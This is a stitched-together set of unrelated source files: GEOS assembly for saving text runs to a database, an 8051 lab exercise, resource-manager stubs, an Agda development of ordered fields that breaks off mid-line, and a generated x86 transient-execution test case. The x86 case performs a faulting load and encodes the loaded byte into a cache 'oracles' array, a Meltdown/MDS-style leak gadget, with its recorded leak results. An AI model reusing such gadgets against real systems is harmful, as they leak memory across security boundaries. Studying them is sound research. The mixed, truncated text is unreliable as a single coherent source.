DESCRIPTION: Save run/element to DB item CALLED BY: INTERNAL PASS: *ds:si - text object carry - set if variable instance data bx - if normal instance data: offset (in instance data) of chunk if variable instance data: vardata key al - VisTextSaveType cxdx - db group and item (or 0 to allocate) di - offset into db item RETURN: di - updated DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/11/91 Initial version ------------------------------------------------------------------------------@ SaveDataToDB proc near uses si, bp class VisTextClass .enter push di mov di, si ;di saves object chunk call GetChunkForLoadSave ;si = chunk xchg di, si ;si = obj, di = chunk to save call GetFileForSave ;bx = file mov si, di pop di ; if reading in run or run&element then get current element array cmp al, VTST_SINGLE_CHUNK jz noElements mov bp, ds:[si] mov bp, ds:[bp].TRAH_elementArray noElements: ; save the data call SaveChunkToDB ; if single chunk or runs only then done cmp al, VTST_RUNS_AND_ELEMENTS jnz done mov si, bp call SaveChunkToDB done: .leave ret SaveDataToDB endp COMMENT @---------------------------------------------------------------------- FUNCTION: SaveChunkToDB DESCRIPTION: Save a chunk to a DB file CALLED BY: INTERNAL PASS: *ds:si - chunk to save cxdx - db item di - offset into db item bx - our vm file RETURN: di - updated DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/11/91 Initial version ------------------------------------------------------------------------------@ SaveChunkToDB proc near uses ax, cx, si, bp, es .enter ; get the chunk size to calculate new size mov si, ds:[si] ChunkSizePtr ds, si, ax push ax ;save size add ax, di ;calculate new chunk size add ax, 2 ;allow for size word mov bp, ax ;bp = new size call ReAllocAX mov_tr ax, di ;ax = offset call LockCXDXToESDI add di, ax ;es:di = dest pop cx ;cx = size mov es:[di], cx add di, 2 rep movsb call UnlockDirty mov di, bp .leave ret SaveChunkToDB endp ;--- UnlockDirty proc near call DBDirty call DBUnlock ret UnlockDirty endp ;--- ; bx = file handle ReAllocAX proc near xchgdw axdi, cxdx call DBReAlloc xchgdw axdi, cxdx ret ReAllocAX endp ;--- LockCXDXToESDI proc near uses ax .enter movdw axdi, cxdx call DBLock ;*es:di = data mov di, es:[di] ;es:di = data .leave ret LockCXDXToESDI endp COMMENT @---------------------------------------------------------------------- MESSAGE: VisTextSaveToDBItemWithStyles -- MSG_VIS_TEXT_SAVE_TO_DB_ITEM_WITH_STYLES for VisTextClass DESCRIPTION: Save a text object to a DB item PASS: *ds:si - instance data es - segment of VisTextClass ax - The message ss:bp - VisTextSaveToDBWithStylesParams RETURN: cx.dx - DBItem saved DESTROYED: bx, si, di, ds, es (message handler) REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 5/20/92 Initial version ------------------------------------------------------------------------------@ VisTextSaveToDBItemWithStyles proc far ; MSG_VIS_TEXT_SAVE_TO_DB_ITEM_WITH_STYLES class VisTextClass if FULL_EXECUTE_IN_PLACE ; ; Validate that the params structure is *not* in a movable code segment ; EC< push bx, si > EC< movdw bxsi, ss:[bp].VTSTDBWSP_params > EC< call ECAssertValidFarPointerXIP > EC< pop bx, si > endif movdw cxdx, ss:[bp].VTSTDBWSP_dbItem mov ax, ss:[bp].VTSTDBWSP_flags mov bx, ss:[bp].VTSTDBWSP_xferFile mov bp, ss:[bp].VTSTDBWSP_params.offset call NukeUnneededSaveFlags ; somewhat of a hack here -- if this object does not have any runs ; to save then just use the normal save test ax, mask VTSDBF_CHAR_ATTR or mask VTSDBF_PARA_ATTR jnz hasRuns tst bx jnz gotFile mov bx, ss:[bp].SSP_xferStyleArray.SCD_vmFile gotFile: xchg bx, ds:[di].VTI_vmFile mov_tr bp, ax mov ax, MSG_VIS_TEXT_SAVE_TO_DB_ITEM call ObjCallInstanceNoLock mov di, ds:[si] add di, ds:[di].Vis_offset xchg bx, ds:[di].VTI_vmFile ret hasRuns: ; initialize the StyleSheetParams structure if needed tst bx jz noInitialize clc call LoadSSParams push ax, cx, dx mov ss:[bp].SSP_xferStyleArray.SCD_vmFile, bx mov ss:[bp].SSP_xferAttrArrays[0*(size StyleChunkDesc)].\ SCD_vmFile, bx mov ss:[bp].SSP_xferAttrArrays[1*(size StyleChunkDesc)].\ SCD_vmFile, bx mov ss:[bp].SSP_xferStyleArray.SCD_chunk, VM_ELEMENT_ARRAY_CHUNK mov ss:[bp].SSP_xferAttrArrays[0*(size StyleChunkDesc)].\ SCD_chunk, VM_ELEMENT_ARRAY_CHUNK mov ss:[bp].SSP_xferAttrArrays[1*(size StyleChunkDesc)].\ SCD_chunk, VM_ELEMENT_ARRAY_CHUNK ; temporarily save the VM file and fool our code into thinking that ; we are in the destination file mov di, ds:[si] add di, ds:[di].Vis_offset xchg bx, ds:[di].VTI_vmFile push bx ; create graphics element array if needed and ax, mask VTSDBF_GRAPHIC cmp ax, (VTST_RUNS_ONLY shl offset VTSDBF_GRAPHIC) jnz noGraphicArray mov bl, TAT_GRAPHICS mov bh, 1 call TA_CreateElementArray mov ss:[bp].VTSSSP_graphicsElements, ax noGraphicArray: ; create attribute stuff mov bh, 1 call TA_CreateStyleArray mov ss:[bp].SSP_xferStyleArray.SCD_vmBlockOrMemHandle, bx mov bl, TAT_PARA_ATTRS mov bh, 1 call TA_CreateElementArray mov ss:[bp].SSP_xferAttrArrays[1*(size StyleChunkDesc)].\ SCD_vmBlockOrMemHandle, ax mov bl, TAT_CHAR_ATTRS mov bh, 1 call TA_CreateElementArray mov ss:[bp].SSP_xferAttrArrays[0*(size StyleChunkDesc)].\ SCD_vmBlockOrMemHandle, ax mov di, ds:[si] add di, ds:[di].Vis_offset pop ds:[di].VTI_vmFile pop ax, cx, dx noInitialize: call SaveDBCommon ret VisTextSaveToDBItemWithStyles endp COMMENT @---------------------------------------------------------------------- FUNCTION: SaveStyledRunToDB DESCRIPTION: Save a run with style information to a DB item. This routine just saves the run (the styles are assumed to be saved elsewhere) CALLED BY: INTERNAL PASS: *ds:si - text object bx - offset (in instance data) of chunk cxdx - db group and item di - offset into db item ss:bp - StyleSheetParams RETURN: di - updated DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/11/91 Initial version ------------------------------------------------------------------------------@ SaveStyledRunToDB proc near uses ax, bx, cx, dx, si runOffset local word push bx dbOffset local word push di object local word push si retOffset local word class VisTextClass .enter ; first we save the run array clc call GetChunkForLoadSave ;si = chunk push si, bp mov si, object mov bp, ss:[bp] call GetFileForSave ;bx = file pop si, bp call SaveChunkToDB mov retOffset, di ;save offset to return ; now we traverse the runs to translate tokens to the transfer space call LockCXDXToESDI add di, dbOffset add di, size word ;skip size word ; load bx with the offset to pass to the style sheet code (0 for ; char attr, 2 for para attr) cmp runOffset, offset VTI_charAttrRuns mov bx, 0 jz gotStyleOffset inc bx gotStyleOffset: clr dx ;optimization block mov cx, es:[di].CAH_count dec cx ;don't do last array element add di, es:[di].CAH_offset ; es:di = run ; dx = optimization block ; cx = count ; bx = run offset to pass to style sheet code translateLoop: push bx, cx push di mov ax, es:[di].TRAE_token mov di, dx ;di = opt block clr cx ;flag: to transfer space mov dx, CA_NULL_ELEMENT push bp mov bp, ss:[bp] call StyleSheetCopyElement ;bx = dest token pop bp mov dx, di ;dx = opt block pop di mov es:[di].TRAE_token, bx pop bx, cx add di, size TextRunArrayElement loop translateLoop ; free the optimization block mov bx, dx tst bx jz noFree call MemFree noFree: call UnlockDirty mov di,retOffset .leave ret SaveStyledRunToDB endp COMMENT @---------------------------------------------------------------------- FUNCTION: SaveGraphicRunToDB DESCRIPTION: Save a run with style information to a DB item. This routine just saves the run (the styles are assumed to be saved elsewhere) CALLED BY: INTERNAL PASS: *ds:si - text object bx - offset (in instance data) of chunk (OFFSET_FOR_GRAPHICS_RUNS) cxdx - db group and item di - offset into db item ss:bp - VisTextSaveStyleSheetParams RETURN: di - updated DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/11/91 Initial version ------------------------------------------------------------------------------@ SaveGraphicRunToDB proc near uses ax, bx, cx, dx, si dbOffset local word push di object local word push si retOffset local word destFile local word sourceFile local word graphic local VisTextGraphic class VisTextClass .enter ; first we save the run array push si stc call GetChunkForLoadSave ;si = chunk push si, bp mov si, object mov bp, ss:[bp] call GetFileForSave ;bx = file pop si, bp call SaveChunkToDB mov retOffset, di ;save offset to return mov destFile, bx pop si ; now we traverse the runs to translate tokens to the transfer space call LockCXDXToESDI add di, dbOffset add di, size word ;skip size word mov cx, es:[di].CAH_count dec cx ;don't do last array element LONG jz done add di, es:[di].CAH_offset call T_GetVMFile mov sourceFile, bx ; es:di = run ; cx = count translateLoop: push cx, si, di mov ax, es:[di].TRAE_token ; get the graphic from the text object push bp lea bp, graphic call TA_GetGraphicElement pop bp ; copy the graphic to the array push ds push bp mov cx, ss lea dx, graphic ;cxdx = element to add lea ax, sourceFile push ax mov bp, ss:[bp] mov ax, ss:[bp].VTSSSP_graphicsElements call GetFileForSave ;bx = file call VMLock mov ds, ax mov si, VM_ELEMENT_ARRAY_CHUNK ;*ds:si = array mov bx, vseg TG_CompareGraphics mov di, offset TG_CompareGraphics pop bp call ElementArrayAddElement ;ax = new token jnc noNewGraphic ; new graphic element added -- copy the data push ax mov bx, ss:[bp+2] ;bx = dest file mov ax, ss:[bp] ;ax = source file mov bp, dx ;ss:bp = graphic mov_tr dx, ax ;dx = source file call TG_CopyGraphic pop ax call ChunkArrayElementToPtr ;ds:di = ptr movdw cxdx, ss:[bp].VTG_vmChain movdw ds:[di].VTG_vmChain, cxdx ; and add the block to the VM tree pop bp ;ss:bp = local vars push bp mov bp, ss:[bp] call AddGraphicToTree noNewGraphic: mov bp, ds:[LMBH_handle] call VMDirty call VMUnlock pop bp pop ds pop cx, si, di mov es:[di].TRAE_token, ax add di, size TextRunArrayElement dec cx LONG jnz translateLoop done: call UnlockDirty mov di,retOffset .leave ret SaveGraphicRunToDB endp COMMENT @---------------------------------------------------------------------- FUNCTION: AddGraphicToTree DESCRIPTION: Add a graphic to the given tree CALLED BY: INTERNAL PASS: ss:bp - VisTextSaveStyleSheetParams bx - VM file cxdx - vm tree to add RETURN: none DESTROYED: none REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- Tony 12/29/92 Initial version ------------------------------------------------------------------------------@ AddGraphicToTree proc near uses ax, di, bp, ds .enter mov ax, ss:[bp].VTSSSP_treeBlock mov di, ss:[bp].VTSSSP_graphicTreeOffset call VMLock mov ds, ax ; does a tree block exist already ? mov ax, ds:[di].high tst ax jnz gotTreeBlock ; no -- allocate one push cx, bp, ds mov cx, size VMChainTree clr ax ;no user ID call VMAlloc mov ds:[di].high, ax push ax call VMLock mov ds, ax mov ds:[VMCT_meta].VMCL_next, 0 mov ds:[VMCT_offset], size VMChainTree mov ds:[VMCT_count], 0 call VMUnlock pop ax pop cx, bp, ds gotTreeBlock: call VMUnlock ;unlock top level tree call VMLock mov ds, ax inc ds:[VMCT_count] mov ax, ds:[VMCT_count] ;calculate new block size shl ax shl ax add ax, size VMChainTree push ax, cx xchg bx, bp mov ch, mask HAF_NO_ERR call MemReAlloc mov ds, ax xchg bx, bp pop di, cx movdw <ds:[di-(size dword)]>, cxdx call VMUnlock .leave ret AddGraphicToTree endp TextStorageCode ends
Lab_2/Task_2.a51
DeeptimaanB/8051_Programs
0
90539
<filename>Lab_2/Task_2.a51 ;Write an 8051 ASM program to perform subtraction of two 8-bit numbers ;76H and 97H and store the result at address location 55H. ORG 0000H MOV A,#97H SUBB A,#76H MOV 55H,A END ;<NAME>
Transynther/x86/_processed/NC/_ht_zr_/i9-9900K_12_0xca_notsx.log_196_533.asm
ljhsiun2/medusa
9
24453
<filename>Transynther/x86/_processed/NC/_ht_zr_/i9-9900K_12_0xca_notsx.log_196_533.asm .global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %r8 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x59fa, %rsi lea addresses_A_ht+0x1a8ca, %rdi nop nop nop nop nop and $1736, %r14 mov $70, %rcx rep movsq nop nop nop nop nop and %rbp, %rbp lea addresses_WC_ht+0xf7fa, %rsi lea addresses_D_ht+0x2ffa, %rdi nop nop nop nop and $56870, %r8 mov $127, %rcx rep movsw nop nop nop nop mfence lea addresses_normal_ht+0x171ba, %rsi nop nop nop and %r14, %r14 movb $0x61, (%rsi) nop and %rbp, %rbp lea addresses_normal_ht+0x1e67a, %rbp nop nop nop nop dec %rdx movw $0x6162, (%rbp) nop nop nop nop cmp $20908, %r14 lea addresses_WC_ht+0xbeda, %rsi lea addresses_A_ht+0x1b11e, %rdi nop nop nop inc %rdx mov $121, %rcx rep movsl nop nop add $24205, %rbp lea addresses_WT_ht+0x4588, %r8 nop nop nop add $2432, %rcx mov (%r8), %r14 add $57269, %rdi lea addresses_normal_ht+0x12dba, %rsi nop nop nop nop nop and %rdx, %rdx movups (%rsi), %xmm0 vpextrq $0, %xmm0, %r14 nop and $64612, %rbp lea addresses_A_ht+0x59fa, %r8 add $46691, %rsi and $0xffffffffffffffc0, %r8 vmovaps (%r8), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %rbp nop nop nop sub $63783, %r8 lea addresses_A_ht+0x1dcfa, %rsi nop sub $60968, %rbp mov (%rsi), %r14d nop cmp %rdi, %rdi lea addresses_A_ht+0x13b7a, %r14 nop nop nop nop and $25548, %rdi mov $0x6162636465666768, %rbp movq %rbp, %xmm1 vmovups %ymm1, (%r14) nop nop add %rsi, %rsi lea addresses_normal_ht+0xfbfa, %rsi lea addresses_UC_ht+0x197fa, %rdi nop nop nop and %r12, %r12 mov $127, %rcx rep movsb nop nop nop nop nop cmp $56935, %r12 lea addresses_A_ht+0xf7fa, %r12 nop nop nop nop xor %rbp, %rbp movl $0x61626364, (%r12) nop nop nop nop nop sub $63924, %r12 lea addresses_A_ht+0xbdda, %rdx xor $49853, %rdi mov $0x6162636465666768, %r14 movq %r14, %xmm0 movups %xmm0, (%rdx) nop and $39289, %rbp lea addresses_WC_ht+0x3dfa, %r14 and $58928, %rbp movups (%r14), %xmm0 vpextrq $0, %xmm0, %rcx nop nop cmp $29720, %rdx lea addresses_normal_ht+0x1d5fa, %r14 clflush (%r14) nop nop nop nop sub %rdi, %rdi mov (%r14), %edx lfence pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r14 push %r8 push %r9 push %rax push %rbp push %rcx push %rdx // Store mov $0x2fc1dc00000000da, %r8 nop nop nop nop nop and %rcx, %rcx mov $0x5152535455565758, %rax movq %rax, %xmm2 movups %xmm2, (%r8) xor $41754, %r9 // Store lea addresses_D+0x83fa, %r14 nop nop xor %rbp, %rbp mov $0x5152535455565758, %r8 movq %r8, %xmm7 movups %xmm7, (%r14) nop nop nop dec %rcx // Store lea addresses_PSE+0xcdba, %rax nop dec %rdx mov $0x5152535455565758, %rcx movq %rcx, (%rax) nop nop nop nop cmp $17674, %r14 // Store lea addresses_UC+0x108fa, %rax nop nop nop nop nop xor $31639, %r14 movl $0x51525354, (%rax) nop nop nop nop inc %r9 // Faulty Load mov $0x10c36b00000003fa, %r14 cmp %r8, %r8 movups (%r14), %xmm2 vpextrq $1, %xmm2, %rcx lea oracles, %r8 and $0xff, %rcx shlq $12, %rcx mov (%r8,%rcx,1), %rcx pop %rdx pop %rcx pop %rbp pop %rax pop %r9 pop %r8 pop %r14 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 7}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}, 'dst': {'same': True, 'congruent': 4, 'type': 'addresses_A_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': True, 'AVXalign': False, 'size': 1, 'congruent': 6}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8}} {'46': 5, '00': 191} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
modules/librm/iofunc.nasm
r-tty/radios
0
242518
<reponame>r-tty/radios ;------------------------------------------------------------------------------ ; iofunc.nasm - message handlers. ;------------------------------------------------------------------------------ module librm.iofunc %include "rm/resmgr.ah" %include "rm/iomsg.ah" exportproc _iofunc_func_init, _iofunc_attr_init section .data ConnHandlers: DD RESMGR_CONNECT_NFUNCS DD IOMH_Open DD 0 ; unlink DD 0 ; rename DD 0 ; mknod DD 0 ; readlink DD 0 ; link DD 0 ; unblock DD 0 ; mount IOhandlers: DD RESMGR_IO_NFUNCS DD IOMH_Connect ; 100h DD IOMH_Read ; 101h DD IOMH_Write ; 102h DD 0 ; 103h DD IOMH_Stat ; 104h DD IOMH_Notify ; 105h DD IOMH_Devctl ; 106h DD 0 ; 107h DD IOMH_PathConf ; 108h DD IOMH_lseek ; 109h DD IOMH_chmod ; 10Ah DD IOMH_chown ; 10Bh DD IOMH_utime ; 10Ch DD IOMH_OpenFD ; 10Dh DD IOMH_FDinfo ; 10Eh DD IOMH_Lock ; 10Fh DD IOMH_Space ; 110h DD IOMH_Shutdown ; 111h DD IOMH_mmap ; 112h DD IOMH_Msg ; 113h DD 0 ; 114h DD IOMH_Dup ; 115h DD IOMH_Close ; 116h DD 0 ; 117h DD 0 ; 118h DD IOMH_Sync ; 119h section .text ; --- IO message handlers ------------------------------------------------------ proc IOMH_Connect ret endp ;--------------------------------------------------------------- ; Default handler for IOM_READ. ; Input: EBX=message address, ; EDX=OCB address, ; ESI=address of resmgr context descriptor. ; Output: EAX=result. proc IOMH_Read ret endp ;--------------------------------------------------------------- proc IOMH_Write ret endp ;--------------------------------------------------------------- proc IOMH_Stat ret endp ;--------------------------------------------------------------- proc IOMH_Notify ret endp ;--------------------------------------------------------------- proc IOMH_Devctl ret endp ;--------------------------------------------------------------- proc IOMH_PathConf ret endp ;--------------------------------------------------------------- proc IOMH_lseek ret endp ;--------------------------------------------------------------- proc IOMH_chmod ret endp ;--------------------------------------------------------------- proc IOMH_chown ret endp ;--------------------------------------------------------------- proc IOMH_utime ret endp ;--------------------------------------------------------------- proc IOMH_OpenFD ret endp ;--------------------------------------------------------------- proc IOMH_FDinfo ret endp ;--------------------------------------------------------------- proc IOMH_Lock ret endp ;--------------------------------------------------------------- proc IOMH_Space ret endp ;--------------------------------------------------------------- proc IOMH_Shutdown ret endp ;--------------------------------------------------------------- proc IOMH_mmap ret endp ;--------------------------------------------------------------- proc IOMH_Msg ret endp ;--------------------------------------------------------------- proc IOMH_Dup ret endp ;--------------------------------------------------------------- proc IOMH_Close ret endp ;--------------------------------------------------------------- proc IOMH_Sync ret endp ;--------------------------------------------------------------- ; --- Connect functions -------------------------------------------------------- ; int IOMH_open(resmgr_context_t *ctp, io_open_t *msg, ; IOMH_attr_t *attr, IOMH_attr_t *dattr, ; struct _client_info *info); proc IOMH_Open ret endp ;--------------------------------------------------------------- ; --- Other functions ---------------------------------------------------------- ; void iofunc_func_init(uint nconn, resmgr_connect_funcs_t *connect, ; uint nio, resmgr_io_funcs_t *io); proc _iofunc_func_init arg nconn, connect, nio, io prologue epilogue ret endp ;--------------------------------------------------------------- ; void iofunc_attr_init(IOMH_attr_t *attr, mode_t mode, ; IOMH_attr_t *dattr, struct _client_info *info); proc _iofunc_attr_init arg attr, mode, dattr, info prologue epilogue ret endp ;---------------------------------------------------------------
asm/test.asm
Shmizmin/CPU-Explorer
0
247605
<reponame>Shmizmin/CPU-Explorer test: mov r0, r1 hello: xor r0, r0
agda/SyntheticReals.agda
mchristianl/synthetic-reals
3
3500
{-# OPTIONS --cubical --no-import-sorts --allow-unsolved-metas #-} module SyntheticReals where open import Agda.Primitive renaming (_⊔_ to ℓ-max; lsuc to ℓ-suc; lzero to ℓ-zero) private variable ℓ ℓ' ℓ'' : Level open import Cubical.Foundations.Everything renaming (_⁻¹ to _⁻¹ᵖ; assoc to ∙-assoc) open import Cubical.Structures.CommRing open import Cubical.Relation.Nullary.Base -- ¬_ open import Cubical.Relation.Binary.Base -- Rel open import Cubical.Data.Sum.Base renaming (_⊎_ to infixr 4 _⊎_) open import Cubical.Data.Sigma.Base renaming (_×_ to infixr 4 _×_) open import Cubical.Data.Empty renaming (elim to ⊥-elim) -- `⊥` and `elim` -- open import Cubical.Structures.Poset open import Cubical.Foundations.Function open import Function.Base using (_∋_) -- open import Function.Reasoning using (∋-syntax) open import Function.Base using (it) -- instance search open import Utils open import MoreLogic open MoreLogic.Reasoning open MoreLogic.Properties open import MoreAlgebra open MoreAlgebra.Definitions open MoreAlgebra.Consequences open import Bundles -- open MoreAlgebra.Properties.Group -- https://www.cs.bham.ac.uk/~abb538/thesis.pdf -- Booij 2020 - Analysis in Univalent Type Theory -- Lemma 4.1.6. import Properties.ConstructiveField -- Lemma 4.1.11. import Properties.AlmostOrderedField -- Lemma 4.1.12. An ordered field (F, 0, 1, +, · , min, max, <) is a constructive field (F, 0, 1, +, · , #). lemma-4-1-12 : -- NOTE: we do a slightly different thing here ∀{ℓ ℓ'} (OF : OrderedField {ℓ} {ℓ'}) → let open OrderedField OF ---------------------------------------------------- in (IsConstructiveField 0f 1f _+_ _·_ -_ _#_ _⁻¹ᶠ) lemma-4-1-12 {ℓ} {ℓ'} OF = let -- NOTE: for mentioning the ℓ and ℓ' and not taking them as new "variables" we bring them into scope open OrderedField OF in record -- We need to show that + is #-extensional, and that # is tight. { OrderedField OF ; isApartnessRel = #'-isApartnessRel <-isStrictPartialOrder -- NOTE: We've proved this before -- First, assume w + x # y + z. We need to show w # y ∨ x # z. ; +-#-extensional = λ where -- Consider the case w + x < y + z, so that we can use (†) to obtain w < y ∨ x < z, -- which gives w # y ∨ x # z in either case. w x y z (inl w+x<y+z) → case +-<-extensional _ _ _ _ w+x<y+z of ( (_ → (w # y) ⊎ (x # z)) ∋ λ -- NOTE: here we had to add a (return-)type annotation to the λ { (inl w<y) → inl (inl w<y) ; (inr x<z) → inr (inl x<z) }) -- The case w + x > y + z is similar. w x y z (inr y+z<w+x) → case +-<-extensional _ _ _ _ y+z<w+x of ( (_ → (w # y) ⊎ (x # z)) ∋ λ { (inl y<w) → inl (inr y<w) ; (inr z<x) → inr (inr z<x) }) -- Tightness follows from the fact that ≤ is antisymmetric, combined with the fact -- that ¬(P ∨ Q) is equivalent to ¬P ∧ ¬Q. ; #-tight = λ x y ¬[x<y]⊎¬[y<x] → let (¬[x<y] , ¬[y<x]) = deMorgan₂' ¬[x<y]⊎¬[y<x] in ≤-antisym _ _ ¬[y<x] ¬[x<y] } -- We will mainly be concerned with ordered fields, as opposed to the more general con- -- structive fields. This is because the Archimedean property can be phrased straightforwardly -- for ordered fields, as in Section 4.3, and because the ordering relation allows us to define loca- -- tors, as in Chapter 6. -- -- We have defined ordered fields, which capture the algebraic structure of the real numbers. -- 4.2 Rationals -- ... -- NOTE: we have in cubical -- import Cubical.HITs.Rationals.HITQ -- ℚ as a higher inductive type -- import Cubical.HITs.Rationals.QuoQ -- ℚ as a set quotient of ℤ × ℕ₊₁ (as in the HoTT book) -- import Cubical.HITs.Rationals.SigmaQ -- ℚ as the set of coprime pairs in ℤ × ℕ₊₁ import Cubical.HITs.Rationals.QuoQ renaming (ℚ to ℚ-Carrier) postulate ℚℓ : Level ℚOF : OrderedField {ℓ-zero} {ℚℓ} {- ℚ = λ where .OrderedField.Carrier → ℚ-Carrier .OrderedField.0f → 0 .OrderedField.1f → 1 .OrderedField._+_ → _+_ .OrderedField.-_ → -_ .OrderedField._·_ → _*_ .OrderedField.min → {!!} .OrderedField.max → {!!} .OrderedField._<_ → {!!} .OrderedField.<-isProp → {!!} .OrderedField._⁻¹ᶠ → {!!} .OrderedField.isOrderedField → {!!} -} -- 4.3 Archimedean property -- -- We now define the notion of Archimedean ordered fields. We phrase this in terms of a certain -- interpolation property, that can be defined from the fact that there is a unique morphism of -- ordered fields from the rationals to every ordered field. -- Lemma 4.3.3. For every ordered field (F, 0 F , 1 F , + F , · F , min F , max F , < F ), there is a unique morphism -- i of ordered fields from the rationals to F . Additionally, i preserves < in the sense that for every q, r : Q -- q < r ⇒ i (q) < F i (r ). -- ∃! : ∀ {ℓ ℓ'} (A : Type ℓ) (B : A → Type ℓ') → Type (ℓ-max ℓ ℓ') -- ∃! A B = isContr (Σ A B) -- isContr' A = Σ[ x ∈ A ] (∀ y → x ≡ y) ℚ-IsInitialObject : ∀(OF : OrderedField {ℓ} {ℓ'}) → isContr (OrderedFieldMor ℚOF OF) ℚ-IsInitialObject OF = {!!} , {!!} -- Definition 4.3.5. Let (F, 0 F , 1 F , + F , · F , min F , max F , < F ) be an ordered field, so that we get a -- canonical morphism i : Q → F of ordered fields, as in Lemma 4.3.3. We say the ordered field -- (F, 0 F , 1 F , + F , · F , min F , max F , < F ) is Archimedean if -- (∀x, y : F )(∃q : Q)x < i (q) < y. IsArchimedian : OrderedField {ℓ} {ℓ'} → Type (ℓ-max ℓ ℓ') IsArchimedian OF = let (orderedfieldmor i _) = fst (ℚ-IsInitialObject OF) open OrderedField OF ℚ = OrderedField.Carrier ℚOF in ∀ x y → ∃[ q ∈ ℚ ] (x < i q) × (i q < y) -- If the ordered field is clear from the context, we will identify rationals q : Q with their in- -- clusion i (q) in the ordered field, so that we may also say that (F, 0 F , 1 F , + F , · F , min F , max F , < F ) -- is Archimedean if -- (∀x, y : F )(∃q : Q)x < q < y. -- Example 4.3.6. In an Archimedean ordered field, all numbers are bounded by rationals. That -- is, for a given x : F , there exist q, r : Q with q < x < r . Example-4-3-6 : (OF : OrderedField {ℓ} {ℓ'}) → IsArchimedian OF → let open OrderedField OF renaming (Carrier to F) (orderedfieldmor i _) = fst (ℚ-IsInitialObject OF) ℚ = OrderedField.Carrier ℚOF in ∀(x : F) → (∃[ q ∈ 